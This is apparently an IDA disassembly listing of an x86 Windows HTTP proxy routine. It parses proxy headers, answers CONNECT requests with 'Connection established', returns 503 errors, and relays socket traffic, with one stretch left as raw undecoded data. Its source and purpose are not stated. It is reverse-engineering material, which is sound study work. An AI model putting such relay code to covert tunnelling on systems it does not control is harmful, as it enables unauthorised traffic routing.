		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A53E
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A52D
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471E4 ; "\r\n"


loc_429981:				; CODE XREF: ___:0042999Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4299A5
		test	cl, cl
		jz	short loc_4299A1
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4299A5
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429981


loc_4299A1:				; CODE XREF: ___:0042998Bj
		xor	eax, eax
		jmp	short loc_4299A9
; ---------------------------------------------------------------------------


loc_4299A5:				; CODE XREF: ___:00429987j
					; ___:00429995j
		sbb	eax, eax
		sbb	eax, ebx


loc_4299A9:				; CODE XREF: ___:004299A3j
		test	eax, eax
		jz	loc_429A83
		mov	edi, dword_511AD8


loc_4299B7:				; CODE XREF: ___:00429A7Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_4299C3:				; CODE XREF: ___:004299E1j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_4299E7
		test	cl, cl
		jz	short loc_4299E3
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_4299E7
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_4299C3


loc_4299E3:				; CODE XREF: ___:004299CDj
		xor	eax, eax
		jmp	short loc_4299EB
; ---------------------------------------------------------------------------


loc_4299E7:				; CODE XREF: ___:004299C9j
					; ___:004299D7j
		sbb	eax, eax
		sbb	eax, ebx


loc_4299EB:				; CODE XREF: ___:004299E5j
		test	eax, eax
		jz	loc_429A83
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A589
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471E4 ; "\r\n"
		push	ecx
		call	edi
		add	esp, 18h
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+4498h]


loc_429A53:				; CODE XREF: ___:00429A71j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A77
		test	cl, cl
		jz	short loc_429A73
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A77
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A53


loc_429A73:				; CODE XREF: ___:00429A5Dj
		xor	eax, eax
		jmp	short loc_429A7B
; ---------------------------------------------------------------------------


loc_429A77:				; CODE XREF: ___:00429A59j
					; ___:00429A67j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A7B:				; CODE XREF: ___:00429A75j
		test	eax, eax
		jnz	loc_4299B7


loc_429A83:				; CODE XREF: ___:004299ABj
					; ___:004299EDj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jz	short loc_429AD7
		push	offset asc_444C64 ; ":"
		push	eax
		call	esi
		add	esp, 8
		inc	eax
		jz	short loc_429AD7
		cmp	byte ptr [eax],	20h
		jnz	short loc_429ABB


loc_429AB2:				; CODE XREF: ___:00429AB9j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429AB2


loc_429ABB:				; CODE XREF: ___:00429AB0j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_429AD7
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429ADE
; ---------------------------------------------------------------------------


loc_429AD7:				; CODE XREF: ___:00429A9Dj
					; ___:00429AABj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429ADE:				; CODE XREF: ___:00429AD5j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429B76
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A65D
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A59B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		call	near ptr 71AB406Ah
		nop
		cmp	eax, ebx
		jz	loc_42A5F8


loc_429B76:				; CODE XREF: ___:00429AE4j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A21E
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429BC1
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429BF4
; ---------------------------------------------------------------------------


loc_429BC1:				; CODE XREF: ___:00429B8Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429BF4:				; CODE XREF: ___:00429BBFj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_42A642
		cmp	eax, ebx
		jz	loc_42A642
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A66F
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471E4 ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429CBE:				; CODE XREF: ___:00429CDCj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429CE2
		test	cl, cl
		jz	short loc_429CDE
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429CE2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429CBE


loc_429CDE:				; CODE XREF: ___:00429CC8j
		xor	eax, eax
		jmp	short loc_429CE7
; ---------------------------------------------------------------------------


loc_429CE2:				; CODE XREF: ___:00429CC4j
					; ___:00429CD2j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429CE7:				; CODE XREF: ___:00429CE0j
		test	eax, eax
		jz	loc_42A069


loc_429CEF:				; CODE XREF: ___:0042A058j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429CFB:				; CODE XREF: ___:00429D1Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429D23
		test	cl, cl
		jz	short loc_429D1F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429D23
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429CFB


loc_429D1F:				; CODE XREF: ___:00429D07j
		xor	eax, eax
		jmp	short loc_429D28
; ---------------------------------------------------------------------------


loc_429D23:				; CODE XREF: ___:00429D03j
					; ___:00429D13j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D28:				; CODE XREF: ___:00429D21j
		test	eax, eax
		jz	loc_42A065
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A060
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429E0A
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429E0A:				; CODE XREF: ___:00429DBCj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429E99
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429E99:				; CODE XREF: ___:00429E54j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F34
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429F34:				; CODE XREF: ___:00429EE3j
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_429F40:				; CODE XREF: ___:00429F62j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429F68
		test	cl, cl
		jz	short loc_429F64
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429F68
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429F40


loc_429F64:				; CODE XREF: ___:00429F4Cj
		xor	eax, eax
		jmp	short loc_429F6D
; ---------------------------------------------------------------------------


loc_429F68:				; CODE XREF: ___:00429F48j
					; ___:00429F58j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429F6D:				; CODE XREF: ___:00429F66j
		test	eax, eax
		jz	loc_42A009
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429F81:				; CODE XREF: ___:00429FA3j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429FA9
		test	cl, cl
		jz	short loc_429FA5
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429FA9
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429F81


loc_429FA5:				; CODE XREF: ___:00429F8Dj
		xor	eax, eax
		jmp	short loc_429FAE
; ---------------------------------------------------------------------------


loc_429FA9:				; CODE XREF: ___:00429F89j
					; ___:00429F99j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429FAE:				; CODE XREF: ___:00429FA7j
		test	eax, eax
		jz	short loc_42A009
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A009:				; CODE XREF: ___:00429F6Fj
					; ___:00429FB0j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471E4 ; "\r\n"
		lea	eax, [esp+498h]


loc_42A029:				; CODE XREF: ___:0042A04Bj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A051
		test	cl, cl
		jz	short loc_42A04D
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A051
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A029


loc_42A04D:				; CODE XREF: ___:0042A035j
		xor	eax, eax
		jmp	short loc_42A056
; ---------------------------------------------------------------------------


loc_42A051:				; CODE XREF: ___:0042A031j
					; ___:0042A041j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A056:				; CODE XREF: ___:0042A04Fj
		test	eax, eax
		jnz	loc_429CEF
		jmp	short loc_42A065
; ---------------------------------------------------------------------------


loc_42A060:				; CODE XREF: ___:00429D50j
		mov	byte ptr [esp+12h], 1


loc_42A065:				; CODE XREF: ___:00429D2Aj
					; ___:0042A05Ej
		mov	ebx, [esp+2Ch]


loc_42A069:				; CODE XREF: ___:00429CE9j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A091
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A0AD
; ---------------------------------------------------------------------------


loc_42A091:				; CODE XREF: ___:0042A071j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A0AD:				; CODE XREF: ___:0042A08Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471E4 ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		test	ebx, ebx
		jz	loc_42A1DC
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A164


loc_42A113:				; CODE XREF: ___:0042A162j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A164
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A164
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A164
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A113


loc_42A164:				; CODE XREF: ___:0042A111j
					; ___:0042A11Cj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A1AE


loc_42A16A:				; CODE XREF: ___:0042A1ACj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A1AE
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A1AE
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A16A


loc_42A1AE:				; CODE XREF: ___:0042A168j
					; ___:0042A187j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A43F
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A442
; ---------------------------------------------------------------------------


loc_42A1DC:				; CODE XREF: ___:0042A107j
		mov	esi, dword_511CA4


loc_42A1E2:				; CODE XREF: ___:0042A21Cj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi
		cmp	eax, 1
		jl	short loc_42A1AE
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A1AE
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A1E2
; ---------------------------------------------------------------------------


loc_42A21E:				; CODE XREF: ___:00429B7Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A290:				; CODE XREF: ___:0042A29Bj
		cmp	[ecx], edx
		jz	short loc_42A29D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A290


loc_42A29D:				; CODE XREF: ___:0042A292j
		cmp	eax, 1
		jnz	short loc_42A2B4
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A2B4:				; CODE XREF: ___:0042A2A0j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		nop
		call	near ptr 71AB2DC0h
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 9F64E851h, 83907168h,	840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DF12h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 0E8515000h, 71689F0Ah
		dd 0FFF88390h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 0F11EE890h, 333D7168h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F0CBE8h, 333D9071h
		dd 75000027h, 0E8016A0Dh, 2405BE0h, 0FE43E990h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A43F:				; CODE XREF: ___:0042A1B6j
		or	esi, 0FFFFFFFFh


loc_42A442:				; CODE XREF: ___:0042A1D7j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A462
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A462:				; CODE XREF: ___:0042A448j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A4D0:				; CODE XREF: ___:004295FBj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_429548


loc_42A4DC:				; CODE XREF: ___:0042A584j
					; ___:0042A6DDj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A4F9
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BBh], esi


loc_42A4F9:				; CODE XREF: ___:0042A4E4j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A514
		mov	ecx, [ebp+0BFh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BFh], esi


loc_42A514:				; CODE XREF: ___:0042A4FFj
					; ___:0042A765j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A52D:				; CODE XREF: ___:0042991Aj
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226


loc_42A53E:				; CODE XREF: ___:004298E7j
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226


loc_42A54F:				; CODE XREF: ___:004296A1j
					; ___:004296BAj ...
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226


loc_42A560:				; CODE XREF: ___:00429595j
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		jmp	loc_42A4DC
; ---------------------------------------------------------------------------


loc_42A589:				; CODE XREF: ___:00429A13j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A6FA
; ---------------------------------------------------------------------------


loc_42A59B:				; CODE XREF: ___:00429B54j
		lea	ecx, [esp+0CDh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+18h]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	eax
		call	esi
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_42A6F8
; ---------------------------------------------------------------------------


loc_42A5F8:				; CODE XREF: ___:00429B70j
		mov	edx, [esp+10Ch]
		lea	ecx, [esp+0CDh]
		push	edx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+1Ch]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A642:				; CODE XREF: ___:00429C21j
					; ___:00429C29j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	edx
		call	esi
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_42A6F8
; ---------------------------------------------------------------------------


loc_42A65D:				; CODE XREF: ___:00429AFEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_42A6FA
; ---------------------------------------------------------------------------


loc_42A66F:				; CODE XREF: ___:00429C4Fj
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], ebx
		call	sub_4014BA
		or	esi, 0FFFFFFFFh
		jmp	loc_42A4DC
; ---------------------------------------------------------------------------


loc_42A6E2:				; CODE XREF: ___:0042A255j
					; ___:0042A25Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_511C9C
		push	ecx
		call	esi
		mov	edx, [ebp+0BFh]
		push	edx


